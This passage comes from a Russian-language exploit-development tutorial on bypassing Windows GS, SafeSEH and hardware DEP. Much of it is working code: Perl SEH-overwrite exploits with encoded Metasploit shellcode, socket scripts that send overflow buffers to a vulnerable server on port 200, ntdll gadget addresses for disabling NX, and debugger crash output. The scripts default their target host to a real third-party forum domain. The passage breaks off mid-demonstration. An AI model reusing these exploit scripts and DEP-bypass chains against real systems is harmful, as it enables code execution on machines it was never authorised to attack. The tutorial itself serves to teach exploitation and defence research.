my $nops = "\x90" x 25; #25 needed to align shellcode
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" .
"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" .
"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" .
"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" .
"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" .
"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" .
"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" .
"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" .
"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" .
"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" .
"\xb9\x48\x57\x7a";

$junk=$nops.$shellcode;
$junk=$junk."\x90" x ($size-length($nops.$shellcode)-5); #5 bytes = length of jmpcode
$junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes
$junk=$junk."\xeb\xf9\xff\xff";  #jump back 7 bytes (nseh)
$junk=$junk.pack('V',0x00270b0b);  #seh

print "Payload length : " . length($junk)."\n";
system("seh \"$junk\"\r\n");

Перекомпилируйте код с поддержкой /GS и /SAFESEH (с двумя защита одновременно) и попытайтесь выполнить эксплойт снова.

Вы заметите, что эксплойт дал сбой, но это происзошло потому, что смещение перезаписываемой SEH-структуры отличается (из-за добавленной security_cookie). После изменения смещения и перемещения шеллкода немного всторону, добъемся своего (Windows 2003 Server R2 SP2 Standard, English, приложение скомпилировано с /GS и /SAFESEH, без DEP для seh.exe)

my $size=516; #new offset to deal with GS
my $nops = "\x90" x 200;  #moved shellcode a little bit
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" .
"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" .
"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" .
"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" .
"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" .
"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" .
"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" .
"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" .
"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" .
"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" .
"\xb9\x48\x57\x7a";

$junk=$nops.$shellcode;
$junk=$junk."\x90" x ($size-length($nops.$shellcode)-5);
$junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes
$junk=$junk."\xeb\xf9\xff\xff";  #jump back 7 bytes
$junk=$junk.pack('V',0x00270b0b);

print "Payload length : " . length($junk)."\n";
system("seh \"$junk\"\r\n");

SEHOP

Документ, объясняющий технику обхода SEHOP, был недавно выпущен и может быть найден по следующему адресу: http://www.sysdream.com/articles/sehop_en.pdf

DEP

Во всех использованных нами примерах, мы помещали шеллкод куда-нибудь в стек, а затем пытались заставить приложение перейти на шеллкод и выполнить его. Аппаратный DEP (или Data Execution Prevention) нацелен на предотвращение подобных действий… Он делает страници памяти не исполняемыми (помечая части стека, как неисполняемые), таким образом предотвращая исполнение произвольного шеллкода.

DEP работает в двух режимах: в режиме аппаратной поддержки, на процессорах которые поддерживают неисполняемые страници памяти, и в режиме программной поддержки, на процессорах которые неимеют такой поддержки. Программный DEP обладает ограниченной функциональностью для предотвращения исполнения кода эксплойтов использующих технику перезаписи SEH.

DEP был представлен в Windows XP Service Pack 2 и впоследствии был включен во все последующие новые версии Windows XP SP3/Vista/7/8/etc.

Другими словами: Программный DEP = SafeSEH! Программный DEP не имеет ничего общего с NX/XD битами! Получить больше информации о поведении DEP можно в этой статье Microsoft и этой Uninformed.

Когда процессор/система имеет включенную поддержку NX/XD, Windows DEP = аппаратному DEP. Если процессор не поддерживает его, то вы не сможете получить DEP. Вам будет доступен только SafeSEH (когда он включен)

В TabSheet Windows будет указано, включена ли аппаратная поддержка DEP или нет.

Когда в процессоре или системе не включена поддержка NX/XD битов, Windows DEP = программному DEP. В таком случае, TabSheet Windows укажет на это:

Двое из крупнейших производетелей процессоров имеют свою собственную поддержку защиты неисполняемых страниц памяти (аппаратный DEP):

  • Защита неисполняемых страниц памяти (NX) была разработана AMD.
  • Execute Disable Bit (XD) был разработана Intel.

Важно понимать, что в зависимости от версии OC и её сервис пака, поведение программного DEP может варироваться. В ранних версиях Windows, программный DEP был включен только для системных процессов и мог включаться для клиентских процессов либо вручную, либо при помощи установки флага. В поздних версиях OS Windows Server, DEP включен для всех процессов, за исключением тех, что были вручную добавлены в список исключений. В пользовательских (т.е. не серверных) версиях ОС, используется метод OptIn (и это вполне себе обычная ситуация), поскольку им нужно иметь возможность запускать все виды программного обеспечения, которое может быть совместима с DEP, а может и небыть. Касательно серверов, можно довольно безопасно предположить, что перед установкой, все приложения были протестированы на совместимость с DEP (если же какое-то приложение вызывает проблемы, то оно может быть помещено в список исключений). По умолчанию настройки DEP в Windows Server 2003 SP1 установлены OptOut. Это означает, что по умолчанию, все процессы будут защищены DEP, заисключением тех, что были помещены в список исключений. Настройки DEP в Windows XP SP2 и Vista установлены в OptIn (таким образом будут защищены только системные процессы и приложения).

Помимо OptIn и OptOut, есть еще два режима (параметра загрузки, boot options), которые влияют на DEP:

  • AlwaysOn: указывает на то, что все процессы будут защищены с помощью DEP (без исключений). В этом режиме, DEP не может быть отключен во время выполения.
  • AlwaysOff: указывает на то, что ни один процесс не будет защищен DEP. В этом режиме, DEP не может быть включен во время выполнения. На 64-битной Windows, DEP всегда включён и не может быть выключен. Имейте в виду, что Internet Explorer все еще остается 32-битным приложением (и зависит от DEP режимов описанных выше).

NX/XD бит

На совместимых процессорах, поддержка аппаратного DEP включается NX битом, в 32-битных версиях Windows, посредством автоматического использования PAE ядра, в 64-битных версиях, посредством родной встроенной поддержки. В Windows Vista DEP помечает определенные участки памяти, как участки, которые предназначены для хранения только данных, которые благодаря включенному NX или XD биту, процессор понимает как не исполняемые. Это помогает предотврарить успешные атаки переполнения буфера. В Windows Vista, состояние того, включен ли DEP или нет, для каждого конкретного процесса, можно посмотреть на вкладке «Processes» в «Windows Task Manager».

Идея NX-защиты довольно проста. Если оборудование поддерживает NX, если в настройках BIOS NX-бит включен и ОС поддерживает его, то покрайней мере, системные сервисы будут защищены. В зависимости от настроек DEP, приложения так же могут быть защищены. Компиляторы, такие как Visual Studio предоставляют для линкера (link) параметр (/NXCOMPAT), который включает DEP-защиту для приложений.

При выполнении эксплойтов, из предыдущей главы, под операционной системой Windows 2003 Server (R2, SP2, Standard Edition) у которой NX (Аппаратный DEP) включен, или NX отключен, a DEP установлен в OptOut, данные эксплойты работать не будут (поскольку, либо наши адреса 0x00270b0b/0x00280b0b не пройдут проверку на валидный обработчик, которую выполняет программный DEP, либо эсплойты дадут сбой просто потому, что произойдет попытка выполнить код на стеке, за предотвращением чего следит NX/XD HW DEP). Если вы добавите наше уязвимое приложение seh.exe в исписок исключений DEP, эсплойты снова будут работать (после того, как мы изменим адрес 0x00270b0b на 0x00280b0b). Таким образом, DEP работает хорошо.

Обход (HW) DEP

На сегодняшний день, существует несколько хорошо известных техник обхода DEP:

ret2libc (no shellcode)

Эта техника основана на том, чтобы вместо выполнения прямого перехода на шеллкод (который был заблокирован DEP), вызывать существующую библиотеку/функцию. В результате, код из этой библиотеки/функции выполнится (и если предусмотрено, возьмет данные из стека в качестве параметров) и используется в качестве вашего «вредоносного кода». Посути, вы перезаписываете EIP адресом на существующий в бибилиотеке кусок кода, который, например, вызовает «системную» команду «cmd». Таким образом, в то время как, NX/XD предотвращают выполнение кода в куче и стеке, библиотечный код все еще остается исполняемым и может быть использован. (Посути, вы вернетесь в (return into) библиотечную функцию с фэйковым фреймом вызова (fake call frame)). Очевидно, что этот метод несколько ограничивает типы кода, которые вы хотели бы вызывать, но если вы можете с этим жить, он будет работать. Больше информации о этом методе можно найти по следующим адресам: http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf и http://securitytube.net/Buffer-Overflow-Primer-Part-8-(Return-to-Libc-Theory)-video.aspx.

ZwProtectVirtualMemory

Это еще один метод, который может быть использован для обхода аппаратного DEP. Почерпнуть больше информации о нём можно тут http://woct-blog.blogspot.com/2005/01/dep-evasion-technique.html. Этот метод основан на ret2libc, на самом деле это цепочка из нескльких ret2libc-функций, которые используются вместе для того, чтобы переопределить часть памяти как исполняемой. В данном случае, стек устанавливается таким способом, чтобы во время вызова функции, вызвалась функция VirtualProtect. Одиним из параметров, который передается в эту функцию, явлется адрес вовзрата. Если вы установите его, например, на адрес инструкции JMP ESP, а ваш шеллкод будет нахоидтся по адресу из ESP, в момент, когда произойдет выход из VirtualProtect, то вы получитие рабочий эксплойт. Другим параметромами является адрес на шеллкод (или место в памяти, которое нужно устанвоить испольняемой, например, стек), размер шеллкода, etc… К сожалению, возврат через (returning into) VirtualProtect, требует от вас возможности использования нулевых байтов (которые могут обломать вас, если вы работаете со строковым ASCII-буфером). Я не буду обсуждать этот метод в этом документе.

Отключение DEP для процесса (NtSetInformationProcess)

Поскольку DEP может находиться в несокльких режимах (OptIn, OptOut, etc), операционной системе (ntdll) нужно иметь возможность как-то управлять включением/выключением DEP для каждого процесса, во время выполнения. Таким образом, должен быть некоторый код, обработчик или API, которые определят, нужно ли включить или отключить NX/XD. Если хакер сможет воспользоваться такой API (ntdll), защита NX/Hardware DEP может быть обойдена.

DEP настройки для процесса хранятся в поле Flags в ядре (структура KPROCESS). Это значение может быть запрошено или изменено с помощью функций NtQueryInformationProcess и NtSetInformationProcess, с information class ProcessExecuteFlags (0×22), или с помощью отладчика.

Включите DEP и запустите seh.exe через отладчик. Структура KPROCESS выглядит следующим образом (я пропустил не интересные куски):

0:000> dt nt!_KPROCESS -r
ntdll!_KPROCESS

. . .

   +0x06b Flags            : _KEXECUTE_OPTIONS
      +0x000 ExecuteDisable   : Pos 0, 1 Bit
      +0x000 ExecuteEnable    : Pos 1, 1 Bit
      +0x000 DisableThunkEmulation : Pos 2, 1 Bit
      +0x000 Permanent        : Pos 3, 1 Bit
      +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
      +0x000 ImageDispatchEnable : Pos 5, 1 Bit
      +0x000 Spare            : Pos 6, 2 Bits

Структура _KPROCESS для процесса seh.exe (начинается с 0×00400000) содержит такие значения:

0:000> dt nt!_KPROCESS 00400000 -r
ntdll!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER

. . .

   +0x06b Flags            : _KEXECUTE_OPTIONS
      +0x000 ExecuteDisable   : 0x1
      +0x000 ExecuteEnable    : 0x0
      +0x000 DisableThunkEmulation : 0x0
      +0x000 Permanent        : 0x0
      +0x000 ExecuteDispatchEnable : 0x0
      +0x000 ImageDispatchEnable : 0x1
      +0x000 Spare            : 0x00

(и снова все не интересные куски были удалены)

«ExecuteDisable» устанавливается, когда DEP включен. «ExecuteEnable» включается, когда DEP выключен. Флаг Permanent, когда установлен, указывает на то, что текущие настройки окончательные и изменению не подлежат.

Дэвид Кеннеди (из SecureState) недавно выпустил отличную статью (частично основанную на работе Skape and Skywing, которая опубликованна на Uninformed) о том, как можно обойти аппаратный DEP на Windows 2003 SP2. Я же просто рассмотрю эту технику в этой главе.

Посути, метод обхода DEP, основанный на этой методике, вызывает системную функцию, которая отключает DEP, а затем переходит (returns) на шеллкод. Чтобы иметь возможность сделать это, вы должны иметь возможность установить стек особым образом… Вы поймете, что я имею ввиду немного позже.

Первое, что должно произойти это «вызов функции NtSetInformationProcess» (который находится в процедуре LdrpcCheckNXCompatibility из ntdll). Когда эта функция будет вызывана с параметром ProcessExecuteFlags (0×22), и с флагом MEM_EXECUTE_OPTION_ENABLE (0×2), DEP будет отключен. В общем, вызов функции выглядид так (скопировано из статьи Skape/Skywing)

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
   NtCurrentProcess(),    // (HANDLE)-1
   ProcessExecuteFlags,   // 0x22
   &ExecuteFlags,         // ptr to 0x2
   sizeof(ExecuteFlags)); // 0x4

Для того, чтобы инициировать вызов этой функции, вы можете использовать несколько техник. Одной из них является использование метода ret2libc. Поток исполнения программы нужно будет перенаправить на функцию NtSetInformationProcess. Для того, чтобы заполнить её аргументы корректными заначениями, стек должен содержать корректные данные. Недостаток этого сценария состоти в том, что вам нужно иметь возможность использовать нулевые байты во время атаки на буфер.

Другая возможность состоит в том, чтобы использовать другой набор существующего кода из ntdll, который отключит поддержку NX для процесса, и передаст управление назад, на контролируемый пользователем буфер. В данном сценарии, вам все еще нужно иметь возможность устанавливать стек, чтобы сделать это, но вам не нужно контролировать аргументы.

Пожалуйста, обратите внимание на то, что эта техника может очень сильно зависить от конкретной версии ОС. Её намного проще использовать для Windows XP SP2, SP3 или Windows 2003 SP1, чем для Windows 2003 SP2.

Отключение DEP (Windows XP / Windows 2003 SP1): Демонстрация

Для того, чтобы отключить NX/HW DEP на Windows XP, должны произойти следующие вещи:

  • EAX должен быть установлен в 1 (младший бит EAX должен быть установлен в 1). Сделать это, можно с помощью, например, следующих инструкций: «MOV EAX,1 / RET», «MOV AL, 0x1», «XOR EAX, EAX / INC EAX/ RET», etc. Зачем это нужно, увидите чуть позже.
  • перейти (jump) на LdrpCheckNXCompatibility, где произойдут следующие вещи:
    (1) ESI будет установлен в 2
    (2) выполняется проверка установел ли «Zero Flag» (что происходит в случае, когда EAX содержит 1)
    (3) выполняется проверка, содерижт ли младший байт EAX еденицу или нет. Если да, то в LdrpCheckNXCompatibility осуществляется переход на другой кусок кода.
    (4) Локальной переменной присваивается содержимое ESI (ESI содержит 2, см. шаг «1»), таким образом ей присваивается значение 2.
    (5) В LdrpCheckNXCompatibility выполняется переход на другой кусок кода.
    (6) Выполняется проверка на то, содержит ли локальная переменная 0. Так как она содерижит 2 (см. шаг «4»), то в LdrpCheckNXCompatibility произойдет перенаправление потока на другой кусок кода.
    (7) Здесь, проихсодит вызов функции NtSetInformationProcess, с параметором ProcessExecuteFlags. Указатель на параметр processinformation, который был инициалицирован занчением 2 (шаги «1» и «4»), так же передается ей в качестве дополнительного параметра. В результате произойдет отключение поддержки NX для процесса.
    (8) В этом месте, происходит выполнение типичного эпилога функции, который восстановит сохраненные регистры и выполнит инструкцию leave/ret.

Для того, чтобы это работало, вам нужно знать три адреса, которые нужно расположить в определенных местах стека:

  • Первый адерс, должен указывать на последовательность инструкций устанавливающих EAX в 1 + return. Этим адресом вам нужно перезаписать EIP.
  • Второй адрес, должен указывать на начало инструкции «CMP AL, 0x1» внутри функции ntdll!LdrpCheckNXCompatibility. В стеке, этот адерес долежен следовать за «первым адресом», когда RET-инструкция из «первого адреса» будет выполнена, EIP будет перезаписан «вторым адресом». Обратите внимание на инструкцию RET из «первого адреса». Если ею будет инструкция RET + offset, то вам нужно будет учесть это смещение в стеке. Если все будет сделано правильно, поток выполнения перейдет на функцию, которая отключит поддержику NX и выйдет (return) из функции.
  • Трерий адрес, переход на ваш шеллкод (JMP ESP, etc). Когда будет происходить возврат, из функции отключающей поддержку NX, этот адрес должен быть помщен в EIP.

Кроме того, EBP должен указывать на доступный для записи адрес, чтобы можно было сохранить значение «2» (это значение используется в качестве параметра для вызова SetInformationProcess, отключающего поддержку NX). После того, как вы, скорее всего, перезапишите EBP с помощью вашего буфера, вам придется создать технику, которая заставит EBP указывать на доступный для записи адрес (например, адрес из стека), дотого как инициализируете вызов процедуры отключающей поддержку NX.

Чтобы продемонстрировать обход DEP на Windows XP, воспользуемся приложением «vulnerable server» (код доступен вначале этого урока под заголовком «Демонстрация отладки механизма защиты стека основанного на cookie»), которое будет прослушивать порт (tcp 200) и ждать входящих данных. Данное приложение имеет уязвимость переполнения буфера, которая позволяет нам напрямую контролировать RET (сохраненный EIP). Скомпилируйте данный код на Windows XP SP3 (без поддержки /GS и SafeSEH). Убедитесь, что DEP включен.

Давайте соберем все компоненты вместе и настроим стек требуемым образом, чтобы сделать обход рабочим.

Нам нужно найти инструкции, которые поместят 1 в EAX, а затем совершат переход (return) в функцию NtdllOkayToLockRoutine (ntdll):

ntdll!NtdllOkayToLockRoutine:
7c95371a b001            mov     al,1
7c95371c c20400          ret     4

Обратите внимание: в стеке нам нужно учесть смещение в 4 байта (поскольку будет выполнена инструкция «ret+0x4»)

Другие возможные инструкции можно найти тут:

kernel32.dll:

kernel32!NlsThreadCleanup+0x71:
7c80c1a0 b001            mov     al,1
7c80c1a2 c3              ret

rpcrt4.dll:

0:000> u 0x77eda402
RPCRT4!NDR_PIPE_HELPER32::GotoNextParam+0x1b:
77eda402 b001            mov     al,1
77eda404 c3              ret

rpcrt4.dll:

0:000> u 0x77eda6ba
RPCRT4!NDR_PIPE_HELPER32::VerifyChunkTailCounter:
77eda6ba b001            mov     al,1
77eda6bc c20800          ret     8

Обратите внимание: «ret+0×08» !

(Как найти эти адреса, я объясню позже)

Хорошо, у нас есть 4 адреса, которые удовлетворяют первому требованию. Один из этих адресов должен быть положен в стек, для последующей перезаписи EIP.

Функция LdrpCheckNXCompatibility на Windows XP SP3 (English) выглядит так:

0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:
7c91cd31 8bff            mov     edi,edi
7c91cd33 55              push    ebp
7c91cd34 8bec            mov     ebp,esp
7c91cd36 51              push    ecx
7c91cd37 8365fc00        and     dword ptr [ebp-4],0
7c91cd3b 56              push    esi
7c91cd3c ff7508          push    dword ptr [ebp+8]
7c91cd3f e887ffffff      call    ntdll!LdrpCheckSafeDiscDll (7c91cccb)
[B][COLOR="red"]7c91cd44 3c01            cmp     al,1
7c91cd46 6a02            push    2
7c91cd48 5e              pop     esi
7c91cd49 0f84ef470200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c94153e)[/COLOR][/B]

С адреса 7c91cd44, выполняются шаги с «1» по «3». ESI устанавливается в 2, и происходит переход на адрес 0x7c94153e. Значит, «второмы адресом», который нужно подготовить для нашего стека, является адрес 7c91cd44.

По адресу 7c91cd49, происходит переход на 7c94153e, который содержит следующие инструкции:

ntdll!LdrpCheckNXCompatibility+0x1a:
7c94153e 8975fc          mov     dword ptr [ebp-4],esi
7c941541 e909b8fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c91cd4f)

Здесь, выполняются шаги «4» и «5». ESI содержит 2, а EBP-4 заполняется его содержимым. Затем, мы переходим на адрес 7c91cd4f, который содержит такие инструкции:

0:000> u 7c91cd4f
ntdll!LdrpCheckNXCompatibility+0x1d:
7c91cd4f 837dfc00        cmp     dword ptr [ebp-4],0
7c91cd53 0f85089b0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c936861)

Это шестой шаг. Код проверяет, равна ли локальная переменная (EPB-4) нулю или нет. Так как локальная переменная содержит 2, то выполняется переход на адрес 7c936861, где выполняются инструкции, относящиеся к шагу «7».

0:000> u 7c936861
ntdll!LdrpCheckNXCompatibility+0x4d:
7c936861 6a04            push    4
7c936863 8d45fc          lea     eax,[ebp-4]
7c936866 50              push    eax
7c936867 6a22            push    22h
7c936869 6aff            push    0FFFFFFFFh
7c93686b e82e74fdff      call    ntdll!ZwSetInformationProcess (7c90dc9e)
7c936870 e91865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c91cd8d)
7c936875 90              nop

По адерсу 7c93686b, вызывается функция ZwSetInformationProcess. Предшествующие этому вызову инструкции, посути, утанавливают аргументы в ProcessExecuteFlags. Один из этих параметров (EBP-4) равен 0x2, что означает, что NX будет отключен. Когда эта функция выполнится, она вернется обратно и выполнит следующую инструкцию (по адресу 7c936870), которая перейдет на эпилог функции.

ntdll!LdrpCheckNXCompatibility+0x5c:
7c91cd8d 5e              pop     esi
7c91cd8e c9              leave
7c91cd8f c20400          ret     4

В данный момент, NX отключен. Инструкция «ret 4» вернется обратно в вызывающую функцию. Если мы правильно установим стек, то сможем передать поток управления на адрес инструкции, которая в свою очередь передаст его нашему шеллкоду.

Звучит просто, но парни, которые раскрыли эту технику, скорее всего, потратили немало времени на это… Их работа однозначно сделана на 5+ !

В любом случае, что подразумевается под термином, правильно настроить стек? Мы говорили только об адресах и смещениях… Но как нужно правильно создать буфер?

С этим нам может помочь ImmDbg. ImmDbg поставляется с PyCommand !findantidep, которая поможет правильно установить стек. В качестве альтернативы, можете использовать мою PyCommand pvefindaddr, которая поможет найти больше нужных адресов, которые могут быть использованы для настройки стека. (Я заметил, что !findantidep, не всегда предоставляет корректные адреса. Таким образом, вы можете использовать !findantidep для получения структуры стека, а pvefindaddr для получения корректных адресов.)

[INDENT][B]pvefindaddr for ImmDbg v1.73[/B] (213.0 KiB, 2,117 hits)[/INDENT]

Сначала, найдите 2 требуемых адреса, используя pvefindaddr:

Затем, запустите !findantidep для получения структуры стека. Эта PyCommand покажет вам 3 диалоговых окна. Просто выберите адреса в первом окне (любые адреса), затем во втором окне ввдите «JMP ESP» (без кавычек), и выберите любой адрес в трьем окне. Обратите внимание, что нас не интересуют адреса предоставляемые findantidep, нам интересна только структура….

Откройте окно «Log»:

stack =
   "\xa0\xc1\x80\x7c\xff\xff\xff\xff\x48\x2c\x91\x7c\xff\xff\xff\xff"
   + "A" * 0x54
   + "\x73\x12\xab\x71"
   + shellcode

Оно показывает нам, как нужно установить стек, согласно плагину !findantidep:

1st addr | offset 1 | 2nd address | offset 2 | 54 bytes | jmp to shellc | shellc

1st addr = устанавливает EAX в 1 и return (например, адрес 0x7c95371a, найденный pvefindaddr). Для нашего payload, это тот адрес который перезапишет EIP. По этому адресу (0x7c95371a), выполняется инструкция «RET 4», поэтому, после него, нам нужно добавить 4-х байтовое смещение (offset 1).

2nd addr = инициализирует отключение поддержки NX для процесса, переходя на начало иснструкции «CMP AL, 1». Этот адрес равен значению 0x7c91cd44 (найденному с помощью pvefindaddr). Когда код будет завершать свое выполнение, будет выполенна другая инструкция «RET 4», поэтому нам снова нужно будет довабавить смещение в 4 байта (offset 2).

Затем, добавляется прослойка в 54 байта. Это нужно для того, чтобы скорректировать стек. После того, как поддержка NX будет отключена, со стека будут сняты сохраненные регистры и будет выполнена инструкция LEAVE. В этой точке, EBP находится на расстоянии в 54 байта от ESP, поэтому для того, чтобы компенсировать это, нужно добавить 54 байта.

Следом, за этими 54 байтами, нужно поместить адрес на «инструкцию котарая перейдет на шеллкод». Это то место, куда перейдет поток управления, после отключения NX. Следом, за этим адресом, мы наконец-то сможем разместить в стеке наш шеллкод.

(Очевидно, что структура стека зависит от реальных значений, которые находятся в нем, во время работы эксплойта. Просто смотрите, можете ли вы сослаться на шеллкод, выполнив инструкцию JMP/CALL/PUSH+RET, и заполняйте стек соответствующими адресами.)

Фактически, вся структура, показанная плагином !findantidep ялвяется шаблоном, который нужно заполнить правильными значениями. Вам нужно последовательно, шаг за шагом строить буфер и накаждом шагу следить за значениями регистров. Это будет гарантировать то, что вы создадите правильный буфер. И это именно то, что мы будет делать над нашей подопытной программой.

Теперь, давайте взглянем на нашего подопытного «vulnsrv.exe». Мы знаем, что можем перезаписать EIP после 508 байт. Посему, вместо того, чтобы перезаписывать EIP адресом на инструкцию «JMP ESP», поместим сюда специально подготовленный буфер, который, вначале, отлючит поддержку NX.

Создадим стек с нуля. Начнем с помещения «первого адреса», который перезапишет EIP, а зетем посмотрим, куда это нас приведет:

508 A’s + 0x7c95371a + “BBBB” + “CCCC” + 54 D’s + “EEEE” + 700 F’s
use strict;
use Socket;
my $junk = "A" x 508;

my $disabledep = pack('V',0x7c95371a);
$disabledep = $disabledep."BBBB";
$disabledep = $disabledep."CCCC";
$disabledep = $disabledep.("D" x 54);
$disabledep = $disabledep.("EEEE");
my $shellcode="F" x 700;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$shellcode."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";

После выполнения эсплойта с данным буфером, получим:

(1154.13c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000001 edi=00403388
eip=42424242 esp=0012e26c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??

Хорошо, «первый адрес» работает. ESI содержит 1, а поток управления вернулся в BBBB. Теперь, нам нужно поместить «второй адрес», на место BBBB. Единственной дополнительной вещью, на которую нам нужно посмотреть является EBP. Мы знаем, что в определенный момент, при переходе на «второй адрес», значение «2» будет сохраняться в локальную пременную по адресу EBP-4. В данной точке, EBP не будет содержать валидный адрес, таким образом эта операция, скорее всего, даст сбой. Посмотрим:

use strict;
use Socket;
my $junk = "A" x 508;

my $disabledep = pack('V',0x7c95371a);
$disabledep = $disabledep.pack('V',0x7c91cd44);
$disabledep = $disabledep."CCCC";
$disabledep = $disabledep.("D" x 54);
$disabledep = $disabledep.("EEEE");
my $shellcode="F" x 700;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$shellcode."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";

Когда приложение умерает, WinDbg говорит следующее:

(11ac.1530): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000002 edi=00403388
eip=7c94153e esp=0012e26c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
ntdll!LdrpCheckNXCompatibility+0x1a:
7c94153e 8975fc          mov     dword ptr [ebp-4],esi ss:0023:4141413d=????????

Попытка записать в EBP-4 (41414141 – 4 = 4141413d) провалилась. Таким образом, нам нужно скорректировать значение EBP, до выполнения процедуры отключающей поддержку NX. Чтобы сделать это, нам нужно найти адрес, который поместить что-нибудь полезное в EBP. Мы могли бы поместить в EBP указатель на адрес из кучи, который бы работал для сохранения временнных переменных… но инструкция LEAVE, выполняющаяся после отключения поддержки NX, возьмет и поместить EBP в ESP… что испортит наш буфер (и переместит укатель на стек совсем в другое место). Поэтому, лучше всего в EBP поместить указатель на место, находящееся окло нашего стека…

Для нас подойдут следующие инструкции:

  • push esp / pop ebp / ret
  • mov esp,ebp / ret
  • etc

И снова, pvefindaddr облегчит задачу поиска этих инструкций:

Таким образом, вместо первого шага (помещения в EAX еденици), мы вначале скорректируем EBP (убедитесь, что он возвращает управление на наш буфер (инструкция RET)), затем подготовим EAX и уже потом запустим процедуру отключения NX.

EIP перезаписывается после 508 байт. Сейчас, на это место мы поместим адрес, который скорректирет стек, а после него добавим остальные адреса:

use strict;
use Socket;
my $junk = "A" x 508;

my $disabledep = pack('V',0x77eedc70);  #adjust EBP
$disabledep = $disabledep.pack('V',0x7c95371a);  #set eax to 1
$disabledep = $disabledep.pack('V',0x7c91cd44);  #run NX Disable routine
$disabledep = $disabledep."CCCC";
$disabledep = $disabledep.("D" x 54);
$disabledep = $disabledep.("EEEE");
my $shellcode="F" x 700;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$shellcode."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";

После выполннеия этого кода, получим это:

(bac.1148): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
